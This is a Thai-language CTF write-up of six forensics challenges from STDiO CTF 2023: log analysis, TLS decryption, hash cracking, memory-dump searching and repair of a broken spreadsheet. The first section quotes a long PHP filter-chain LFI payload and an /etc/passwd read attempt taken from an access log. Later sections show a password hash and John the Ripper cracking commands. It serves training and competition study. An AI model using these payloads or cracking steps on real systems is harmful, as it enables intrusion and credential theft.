Skip to main content

Command Palette

Search for a command to run...

STDiO CTF 2023 : Forensics

| write by Ar3mus

Updated
7 min read
STDiO CTF 2023 : Forensics
A
Cyber Operations Specialist

สวัสดีครับทุกคน สำหรับบล็อกนี้เป็นงานแข่ง STDiO CTF 2023 ครับ ผมได้แข่งขันงานนี้เป็นปีแรกครับ (ปีที่แล้วผมสมัครไม่ทันเลยไม่ได้แข่ง) เวลาในการแข่งขันทั้งหมด 48 ชั่วโมงครับแข่งยาวๆ แบบอดหลับอดนอน กันไปเลย งานแข่งนี้ผมทำโจทย์ได้เป็นในส่วนของ Forensics ซะส่วนใหญ่ครับ สำหรับหัวข้อนี้เป็น Forensics ต้องบอกว่าโจทย์มีทั้งข้อ ง่าย จนไปถึง ยาก ครับ ตอนแข่งขันผมทำไปได้ทั้งหมด 5 ข้อ จากทั้งหมด 6 ข้อ ครับ เเต่บล็อกนี้ผมจะมาเขียนทั้งหมด 6 ข้อครับ ซึ่งอีกข้อที่ผมทำไม่ได้ทางผู้ออกโจทย์ได้มาเฉลยวิธีทำให้ครับ ขอบคุณครับพี่

flag format : STDIO23_0{welcome_to_stdio_2023}


Under Attack

Ar3mus : เริ่มแรกเราจะได้ไฟล์ access.txt มาครับ

Ar3mus : ข้างในไฟล์ก็จะเป็น Log ให้มา

Ar3mus : จะเห็นว่า Log entry ที่ได้มานั้นมีรูปแบบ Log จาก HTTP server access log โดยใช้ Common Log Format (CLF) หรือ Combined Log Format ครับ

โดย Format ใช้รูปแบบการบันทึกแบบนี้ครับ

[Remote IP Address] - [User Identity] - [User Authentication] [Timestamp] "Request Line" [Status Code] [Response Size] "Referer" "User-Agent"

ref : Common Log Format - Wikipedia

ซึ่ง Common Log Format (CLF) รูปแบบ มีลักษณะดังนี้ครับ

  • [Remote IP Address]: 192.168.65.1

  • [User Identity]: -

  • [User Authentication]: -

  • [Timestamp]: [28/Nov/2023:18:23:39 +0000]

  • "Request Line": "GET /?flag=STDI023_14{YOU_CANT_FIND_ME} HTTP/1.1"

  • [Status Code]: 200

  • [Response Size]: 5

  • "Referer": "-"

  • "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"

Ar3mus : สำหรับผม ขั้นแรกผมจะ Filter ตัวอักษร ? ก่อนครับ ซึ่งถ้าเป็นในเรื่อง Components ของ URL เนี่ย

A diagram showing different parts of a URL on an example, where http is the scheme, user:password is the user, tryhackme.com is a domain or the host, 80 is the port, view-room is the path, ?id=1 is the query string, and #task3 is the fragment. The full address is http://user:password@tryhackme.com:80/view-room?id=1#task3.

ref : TryHackMe | HTTP in detail

จะเป็นในส่วนของการ Query Strings ข้อมูลครับ โดยส่วนใหญ่ถ้ามีการ Query จาก Server เวลาที่ เเฮกเกอร์ เจอในส่วนนี้ก็จะการโจมตี โดยใช้ท่าอย่าง LFI (Local File Inclusoion) ครับ

Ar3mus : พอเรามาดูในส่วน head คร่าวๆ ก็จะพบว่ามี flag หลอกในบรรทัดที่ 2 เเละ 3 แต่ที่น่าสงสัยคือ ในบรรทัดที่ 9 ครับ

9  192.168.65.1 - - [28/Nov/2023:18:27:41 +0000] "GET /?page=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp HTTP/1.1" 200 261 "-" "curl/8.1.2"

Ar3mus : ผมจึงไป search แล้วพบว่ามีการใช้ PHP filter chain ครับ

Ar3mus : ซึ่งจะเห็นว่าสามารถ convert เป็นตัวอักษรได้

Ar3mus : เราทำการ Filter คำว่า "php://filter/convert" จะพบว่ามันไม่ได้มีเเค่บรรทัดที่ 9

Ar3mus : พอเราลองนับมีทั้งหมด 4 บรรทัดครับ

Ar3mus : โดยเราสามารถใช้ คำสั่งเพื่อเช็ค contents ครับ


php -r "echo file_get_contents('php://filer ... php://temp');"

Ar3mus : หลังจากนั้นผมเลยทำการเซฟข้อมูล

Ar3mus : เเล้วผมจึงทำการเขียน bash script เพื่อรันคำสั่งทีเดียวเลย

line number9
<?php echo "STDIO23_13{36c1"; ?>�
P�������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@

line number 1017
<?php echo "d64af641628af22"; ?>�
P�������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@

line number 1959
PHP Warning:  file_get_contents(php://filter/convert.base64-encode/resource=/etc/passwd&maxwidth=-1&referer=test): Failed to open stream: operation failed in Command line code on line 1

line number 2329
<?php echo "45ccedd238172}"; ?>�B�0���>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@C������>==�@

Ar3mus : You got the flag!!!

STDIO23_13{36c1d64af641628af2245ccedd238172}

Encrypted Traffic

Ar3mus : เริ่มแรกเราจะได้ไฟล์ for2_Encrypted_Traffice_traffic_ key.txt กับ for2_Encrypted_Traffice_traffic.pcap มาครับ

Ar3mus : เรามาลองเช็คไฟล์ pcap ครับ

Ar3mus : ในการวิเคราะห์ไฟล์ pcap อันดับแรกผมจะเช็คในส่วนของ Protocol Hierarcht Statistics ก่อนครับว่ามีการรับส่งข้อมูลโดยใช้ protocol อะไรครับ ซึ่งจะเห็นว่าในส่วนของ Protocol > Frame > Ethernet > IPV4 > TCP > TLS

Ar3mus : Protocol TLS (Transport Layer Security) อยู่ใน Layer ที่ 4, หรือก็คือ Layer ของ "Transport Layer" ตาม OSI model ครับ ซึ่ง TLS ถูกออกแบบมาเพื่อให้มีความปลอดภัยในการสื่อสารที่ระดับขนาดของ Segment หรือ Datagram ในรูปของ TCP หรือ UDP ครับ

ref : MOOC (ncsa.or.th)

Ar3mus : การใช้ TLS ช่วยให้ข้อมูลที่ส่งไปมาระหว่างเครื่องคอมพิวเตอร์ที่เชื่อมต่อกันผ่านเครือข่ายทำได้โดยที่ไม่ให้ผู้ที่ไม่มีสิทธิ์สามารถอ่านหรือแก้ไขข้อมูลได้ ซึ่งเป็นสิ่งสำคัญในการให้ความปลอดภัยในการสื่อสาร ดังนั้นจากโจทย์ให้ for2_Encrypted_Traffice_traffic_ key.txt มาจึงทำให้เราสามารถใช้ในการถอดรหัสเพื่ออ่านข้อมูลได้ครับ

Ar3mus : โดยจากไฟล์ for2_Encrypted_Traffice_traffic_ key.txt จะมีการเก็บข้อมูลเป็น Log Traffic ครับ ซึ่งจะมีรหัสคีย์ที่ใช้ในกระบวนการ TLS Handshake ซึ่งเป็นรูปแบบ Hexadecimal (Base-16) ครับ

ref :

The Illustrated TLS Connection: Every Byte Explained (xargs.org)

Decrypting TLS 1.3 Traffic | FortiWeb 7.2.3 | Fortinet Document Library

Ar3mus : โดยวิธีการ import file key เข้าไปในไฟล์ pcap สามารถทำตามได้เลยครับ

Ar3mus : ให้มาในส่วน Edit > Preferences

Ar3mus : เเล้วมาในส่วนของ Protocols

Ar3mus : เเล้วเลือก TLS

Ar3mus : จะเห็นว่าในส่วนของ TLS เราสามารถ import ไฟล์เข้าไปได้ครับ ตรง

(Pre)-Master-Secret log filename ครับ

Ar3mus : You got the flag!!!

STDIO23_14{bddbe90b56bbb69e10c1807a2eddbd13}

Ar3mus : อุ้ย..อะไรอ่ะ

Isolated Server

Ar3mus : เริ่มแรกเราจะได้ไฟล์ for3_Isolated_Server_cache_sdhbank.local มาครับ

Ar3mus : จากที่เราลองเช็คประเภทของไฟล์ เป็นไฟล์ประเภท TDB database

src : tdbtool (samba.org)

Ar3mus : หลังจากที่ผม search ก็พบว่ามี Tool ที่สามารถ dump database ได้ครับ

Ar3mus : จึงพบว่าใน key 72 มีชื่อ DN=NAME=rockmeifyoucan@sdhbank.local ที่น่าสงสัย

เพราะจากโจทย์ได้บอกว่า STDIO23_15{ค่า MD5 ของรหัสผ่าน} ซึ่งปกติเวลา crack เราจะชอบใช้ wordlist rockyou.txt ครับ น่าจะต้องเกี่ยวข้องกับ การ crack รหัส

FILE:/tmp/krb5cc_379201115_sI5zuL.cachedPassword

$6$kLD6uZK9nK8VuQ65$Bs13zM0B3nGcCqMdfNPMbwrON0DpoJSn/c9ry/CEatJJY8Jtvfvss7k6o.dxZfbfxKm5SdlApx2jR8PTwtF7B0

.cachedPasswordType

lastCachedPassword Change

Ar3mus : จะพบว่ามีข้อมูลที่เป็นไฟล์ krb5cc_379201115_sI5zuL.cachedPassword โดยมี hash อยู่

Ar3mus : ทำการสร้างไฟล์ hash.txt

Ar3mus : จากที่เห็นพบว่า เป็น hash ประเภท

1800 | sha512crypt $6$, SHA512 (Unix) | Operating System

Ar3mus : เจอ Password แล้วครับ

Ar3mus : You got the flag!!!

STDIO23_15{b2b3ac0899ba5d01a530ca6f4525248a}

Check mem

Ar3mus : เริ่มแรกเราจะได้ไฟล์ STDiO_memdump มาครับ

Ar3mus : สำหรับเครื่องมือผมเลือกใช้ Autopsy ครับในการวิเคราะห์ไฟล์ประเภท .mem เเละ .vmem

Ar3mus : โดยก่อนที่เราจะ import ไฟล์เข้าไปวิเคราะห์ได้ เราต้องสร้าง Case ก่อนครับ

Ar3mus : สำหรับ case นี้ผมจะเลือกใช้ Data Source Type ในส่วนของ Unallocated Space Image File ครับ เพราะผมไม่เเน่ใจว่า ไฟล์ mem ที่ได้มานามสกุลไฟล์อะไรกันเเน่

Ar3mus : จากนั้นรอให้ Autopsy ทำการ Analyzing file ให้เสร็จก่อนครับ

Ar3mus : จะเห็นว่า Autopsy จะวิเคราะห์และแยกประเภทไฟล์ทุกอย่างออกมาเป็นกลุ่มๆซึ่งทำให้เราง่ายต่อการวิเคราะห์ครับ

Ar3mus : โดยผมได้ทำการลองค้นหา Keyword ต่างๆ ก็ไปสดุดตากับ คำว่า md5

Ar3mus : อุ้ย..สงสัย flag คนละงานกันเพราะ ผมลองไปตอบเเล้ว ผิดครับ555

Ar3mus : ผมเลยทำการสันนิษฐาน จากประโยคว่า are_you_marc? จากที่ค้นหามาพบว่ามี Users ชื่อว่า Mirth ครับ

Ar3mus : ผมจึง search keyword Mirth เเล้วสุดท้ายไปเจอ flag ของจริงอยู่ที่


ProgramFiles(x86)=C:\Program Files (x86)
F.1.a.G=is d616ad7365a1b99bc7257091356d9514

Ar3mus : You got the flag!!!

STDIO23_25{d616ad7365a1b99bc7257091356d9514}

Check mem 2

Ar3mus : สำหรับโจทย์ข้อนี้จะเป็นไฟล์โจทย์เดียวกันกับข้อ check mem ครับ

Ar3mus : ถ้าเรามาดูในส่วนของ Analysis Results > Keyword Hits > Email Addresses จะพบว่ามี Email ที่เจอเป็นจำนวนมาก

Ar3mus : ซึ่งจะมี Email ที่สะดุดตาผมมาก

Ar3mus : มันไม่ใช่ Email เเต่เป็นลิงค์ canva !!

Ar3mus : You got the flag!!!

STDIO23_25{4250cc2af06ce224e8bce618456796db}

Ar3mus : แถมกด Reactions ไป 1 ที ครับ

Ar3mus : ข้อนี้ผมได้ first blood ด้วย อิอิ

Broken Document

Ar3mus : เริ่มแรกเราจะได้ไฟล์ for4_BrokenDocument.bin มาครับ

Ar3mus : ลองเช็คว่าเป็นไฟล์ประเภทอะไร พบว่าเป็น Linux rev 1.0 ext4 filesystem data ครับ

src : https://superuser.com/questions/995207/how-to-mount-linux-rev-1-0-ext4-filesystem-data-file

Ar3mus : จากที่ค้นหามาครับ LSerni ได้อธิบายว่า เราไม่สามารถ เข้าถึงไฟล์โดยตรงได้ เราต้อง ใช้ loop block device ครับ

ref : บทที่ 7 การจัดการอุปกรณ์.pdf (crru.ac.th)

ref : HAhaha (thwsky.blogspot.com)

Ar3mus : จากที่ผมไปหาข้อมูลมาสรุป ก็คือ เราจะใช้ loop device เพื่อให้เราเปลี่ยน image file ให้กลายเป็น block device เพื่อที่เราจะสามารถเข้าใช้งานได้เหมือนฮาร์ดิสก์ปกติครับ

sudo mkdir -p /mnt/for4
sudo mount -o loop /home/user/Desktop/for4_BrokenDocument.img /mnt/for4

Ar3mus : ใช้งานได้เเล้ว

Ar3mus : โดยเราสามารถใช้ คำสั่ง tree เพื่อให้ง่ายต่อการค้นหาไฟล์

tree ./for4_BrokenDocument

Ar3mus : เจอไฟล์ free_excel.ods ครับ

Ar3mus : ซึ่งในโฟลเดอร์ Qhc3N9Ob ก็เจอโฟลเดอร์ .git ซ้อนอยู่ด้วยครับ

src : ข้อมูลไฟล์ ODS - รูปแบบไฟล์ ODS คืออะไร? (fileformat.app)

Ar3mus : จากที่ไปค้นหาข้อมูลมา ods คือ รูปแบบไฟล์ OpenDocument Spreadsheet ครับซึ่งเราสามารถใช้ LibreOffice Calc ในการเปิดใช้งานได้

src : Download LibreOffice | LibreOffice - Free Office Suite - Based on OpenOffice - Compatible with Microsoft

Ar3mus : หลังจากที่ผมลองเปิดเเล้วสรุปว่าเหมือนไฟล์เสียครับ

Ar3mus : ต่อมาเราจะใช้เครื่องมือ HxD ในการเช็คค่า Hex ของไฟล์ free_excel.ods ครับ ซึ่งโดยปกติแล้วจะเช็คค่า Hex signatures โดยเราจะเรียกว่า Magic numbers หรือ Magic Bytes ครับ

ref : List of file signatures - Wikipedia

Ar3mus : โดยไฟล์นามสกุล zip จะมีค่า Hex signatures เป็น 50 4B 03 04 ครับ

Ar3mus : เราจะพบเห็นว่าค่า Hex signatures 2 ตัว แรกสลับกันครับ

Ar3mus : ให้เราทำการสร้างไฟล์ใหม่เเล้วเเก้ค่า Hex ครับ

Ar3mus : จะเห็นว่าเราต้องหา password เพื่อปลดล็อคไฟล์เอกสาร ครับ

Ar3mus : จากนั้นให้เราไปที่โฟลเดอร์ .git ครับ เเล้วใช้คำสั่ง

git log

Ar3mus : ถ้าเราสังเกตจะเห็นว่า commit 79a139ca2be29e2531630b3bf4775eb0514e6df6 น่าสงสัย

commit 79a139ca2be29e2531630b3bf4775eb0514e6df6
Author: root <root@sdh-devops.sdhbank.local>
Date:   Wed Nov 29 03:44:55 2023 +0700

    wait here

Ar3mus : หมายความว่าคำสั่ง git checkout ต้องถูกรันใน Work Tree (พื้นที่ทำงานของ Git) และไม่สามารถถูกรันในโฟลเดอร์ที่เป็น bare repository ได้

ref : git - fatal: This operation must be run in a work tree - Stack Overflow

Ar3mus : ถ้าเรากำลังใช้ Git ในโฟลเดอร์ที่เป็น bare repository (ไม่มี Work Tree) เราจะไม่สามารถใช้คำสั่ง checkout ได้โดยตรง เนื่องจาก bare repository ไม่มี Working Directory ที่ Git สามารถนำไปใช้ในการ checkout หรือแสดงข้อมูลได้

Ar3mus : ซึ่งหากเราต้องการดึงโค้ดจาก commit นั้น ๆ ใน bare repository เราสามารถใช้คำสั่ง git archive เพื่อสร้างไฟล์ tar หรือ zip ที่มี snapshot ของ commit นั้น ๆ ได้ครับ

git archive --format=zip --output=output.zip 79a139ca2be29e2531630b3bf4775eb0514e6df6

Ar3mus : อุ้ย..ได้ flag.txt ด้วย

Ar3mus : ขอบคุณครับ ...

Ar3mus : ต่อมาเมื่อเรามาเช็คไฟล์ key.asc จะพบว่าเป็นไฟล์ key ที่เข้ารหัสด้วย PGP ครับ

ref : encryption - What is a PGP Secret Key? - Stack Overflow

src : https://youtu.be/X4NV_NBL0h4?si=bzClbt4hq-ijvTOL

Ar3mus : เราสามารถใช้ John The Ripper ในการ crack key.asc ได้ครับ

gpg2john key.asc > hash_keyasc

john --format=gpg hash_keyasc --wordlist /usr/share/wordlists/rockyou.txt

Ar3mus : ได้ password มาเแล้วครับ 1234

Ar3mus : แต่ เอ๊ะ..เปิดไม่ได้

Ar3mus : แต่จากที่ผมไปสอบถามพี่ออกโจทย์มา เราต้องทำการ import pgp key เข้าไปครับ

Ar3mus : ใส่ Passphrase 1234

Ar3mus : ตามที่พี่ longcat บอกเลยครับ ซึ่งถ้าเราลองค้นหา ไฟล์ zip ภายในไฟล์ free_excel.ods จะพบว่ามีไฟล์ manifest.xml ครับ

Ar3mus : จากนั้นเราก็จะได้ keyID มาครับ

gpg --expert --edit-key 50B9439A179EEFFAEDE6BD8C14B31C1CD673DF25 trust

Ar3mus : จากนั้นเราก็เปิดไฟล์ free_excel_new.ods ครับ

Ar3mus : You got the flag!!!

STDIO23_16{476c3f289c409ada45e303e08f5ab76d}


⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠀⠀⠀⠀⠀
        ⢀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠛⠻⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣤⣴⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋   ⢀⣀⠀⠀⠀⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠁⠀⠀  ⣴⣿⣿⣿⣦⠀⠀⠀
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣀⠀⠀⠀  ⢿⣿⣿⣿⡟ Ar3mus@STDiO CTF2023 : Forensics
⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⣄   ⠉⠉⠁⠀⠀⠀⠀
⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀
⠀⠀  ⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋
⠀⠀⠀  ⠀⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁
⠀⠀   ⠀⠀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀  ⠀⠀⠉⠙⠛⠛⠻⠿⠿⠟⠛⠛⠋⠉⠀⠀⠀⠀⠀